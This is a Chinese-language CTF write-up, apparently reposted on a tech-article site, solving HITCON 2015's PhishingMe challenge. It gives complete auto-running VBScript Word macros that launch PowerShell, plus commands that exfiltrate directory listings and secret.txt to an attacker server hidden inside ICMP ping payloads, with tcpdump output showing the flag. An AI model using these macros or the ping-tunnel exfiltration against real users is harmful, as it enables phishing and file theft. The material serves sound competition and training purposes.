CTF writeup:HITCON–PhishingMe -电脑资料

电脑资料 时间:2019-01-01 我要投稿
【meiwen.anslib.com - 电脑资料】

    如果你发送一个主题为"HITCON 2015"的.doc文档我会打开!

在我的文件系统中找到flag注:我会为你开启宏^_________________^[email protected]

    PhishingMe有趣的介绍告知我们可以在.doc中定义一个VBScript宏钓鱼,Here we go!

    准备恶意文件

    第一件事,我们需要一个Microsoft Word,这个 .doc文件需要在打开的时候自动运行脚本,

CTF writeup:HITCON–PhishingMe

。过程如下:

    创建一个.doc文件。并从开发选项单中找到宏选项

   

    创建一个新的宏

   

    我们创建的这个宏需要尝试通过cmd.exe运行一个简单的命令

Sub Auto_Open()         Call Debugging End Sub Sub AutoOpen()         Call Debugging End Sub Public Function Debugging() As Variant         Set objShell = CreateObject("Wscript.Shell")         strCmd = "cmd.exe /c ""ping SERVER_IP"""         Set objExec = objShell.Exec(strCmd) End Function

    把这些放入宏窗口并保存

   

    为了测试命令是否执行,我们来看看我们这边的ping请求:

tcpdump -nXX icmp

    保存.doc,重新打开它,然后在服务器上看看ICMP返回的echo request:

10:25:49.351725 IP MY-TEST-IP > MY-IP: ICMP echo request, id 1, seq 21, length 40

    Shweet!.doc文件在我们这端是正常运行的,我们再来看看在目标端是否正常运行。接着我们将.doc文件发送到phishing.me.hitcon.2015#gmail.com,等一会之后在来看看通信。

10:29:21.411226 IP VICTIM-IP > MY-IP: ICMP echo request, id 1, seq 21, length 40

    命令正常执行,接下来我们该做什么呢?

    反复试验

    首先试试了常见的CTF比赛策略:上传Shell然后再找flag。我们可以尝试以下使用来自PowershellEmpire的Powershell RAT。经过30 – 45分钟的测试,我们意识到回调函数并未从目标机器传递到我们的服务器上,即使他们运行在本地测试环境中。这其中肯定存在防火墙或者是其他东西阻止这些出站流量。但是我们已经接收到来自服务器的流量…

    填充FTW

    我们知道ICMP的echo requests已经传到我们的服务器,同时我们还能通过VBScript执行命令。那么这里是否存在什么东西发送ping….Powershell啊?!(我非常兴奋,这是我第一次在CTF中使用Powershell)下面我们就来看看如何发送ICMP的echo request

    Microsoft页面对System.Net.NetworkInformation.Ping的定义如下:

   

   

    似乎我们需要IP address, timeout, 以及a buffer作为参数?

    下面我们再来看看ICMP echo request的射频图

   

    事实证明,ICMP echo request中有一个数据缓冲区,这可以通过在第三个参数Send函数中进行设置

    在Powershell中调用这个函数:

(New-Object System.Net.NetworkInformation.Ping).Send(server_ip, timeout, buffer)

    理论上我们可以通过缓冲区域的命令结果,并从tcpdump输出中看到结果。我们通过ICMP做一个快速dir

powershell "$dir=dir; (New-Object System.Net.NetworkInformation.Ping).Send('SERVER_IP', 1000, $dir)"

    在VBScript中替换这个命令应该能够成功

Sub Auto_Open()         Call Debugging End Sub Sub AutoOpen()         Call Debugging End Sub Public Function Debugging() As Variant         Set objShell = CreateObject("Wscript.Shell")         strCmd = "powershell ""$dir=dir;(New-Object System.Net.NetworkInformation.Ping).Send('OUR_SERVER_IP', 1000, [system.Text.Encoding]::UTF8.GetBytes($dir)"""         Set objExec = objShell.Exec(strCmd) End Function

    丢给目标,得到非常有趣的结果:

10:10:00.816080 IP VICTIM_IP > OUR_SERVER_IP: ICMP echo request, id 1, seq 19, length 75 0x0030:  6773 2050 726f 6772 616d 2046 696c 6573  gs.Program.Files 0x0040:  2050 726f 6772 616d 2046 696c 6573 2028  .Program.Files.( 0x0050:  7838 3629 2055 7365 7273 2057 696e 646f  x86).Users.Windo 0x0060:  7773 2073 6563 7265 742e 7478 74         ws.secret.txt

    secret.txt是重点啊,将dir替换为type secret.txt,看看有没有啥好结果:

Sub Auto_Open()         Call Debugging End SubSub AutoOpen()         Call Debugging End Sub Public Function Debugging() As Variant         Set objShell = CreateObject("Wscript.Shell")         strCmd = "powershell ""$dir=type secret.txt;(New-Object System.Net.NetworkInformation.Ping).Send('OUR_SERVER_IP', 1000, [system.Text.Encoding]::UTF8.GetBytes($dir)"""         Set objExec = objShell.Exec(strCmd) End Function

    结果

10:11:35.383781 IP VICTIM_IP > OUR_SERVER_IP: ICMP echo request, id 1, seq 20, length 52  ... 0x0020:  .... .... .... .... .... 6869 7463 6f6e  hitcon 0x0030:  7b6d 3463 7230 5f6d 6131 7761 7265 5f31  {m4cr0_ma1ware_1 0x0040:  735f 6d34 6b31 6e67 5f61 5f63 306d 6562  s_m4k1ng_a_c0meb 0x0050:  3463 6b21 217d                           4ck!!}

    在这里我们找到

hitcon{m4cr0_ma1ware_1s_m4k1ng_a_c0meb4ck!!}

    很酷的一个挑战,特别是使用PowerShell

最新文章